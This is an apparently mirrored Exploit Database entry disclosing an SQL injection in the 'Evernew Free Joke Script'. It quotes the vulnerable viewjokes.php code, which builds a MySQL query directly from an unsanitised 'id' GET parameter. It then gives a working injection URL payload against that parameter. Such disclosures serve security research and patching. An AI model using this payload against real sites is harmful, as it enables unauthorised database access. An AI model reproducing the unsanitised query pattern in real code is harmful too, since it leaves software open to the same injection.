Evernew Free Joke Script – ‘viewjokes.php’ SQL Injection

• Exploit Database
• 10 阅读

• 作者： Hamza 'MizoZ' N.
  日期： 2010-02-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11306/

• /*
  
  Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
  WebSite : www.evernewscripts.com
  
  Author : Hamza 'MizoZ' N.
  Email : mizozx@gmail.com
  
  Greetz : Zuka , int_0x80 , geeksec.com ... a loot
  
  */
  
  # VULN CODE ]--[ viewjokes.php :
  
  $id=$HTTP_GET_VARS['id'];
  $title=$HTTP_GET_VARS['title'];
  
  stuffViewer($id, 'jokes');
  
  $query="select * from jokes where id=$id";
  $allresults=mysql_query($query);
  $viewjokes=mysql_fetch_array($allresults);
  
  # EXPLOIT :
  
  http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1--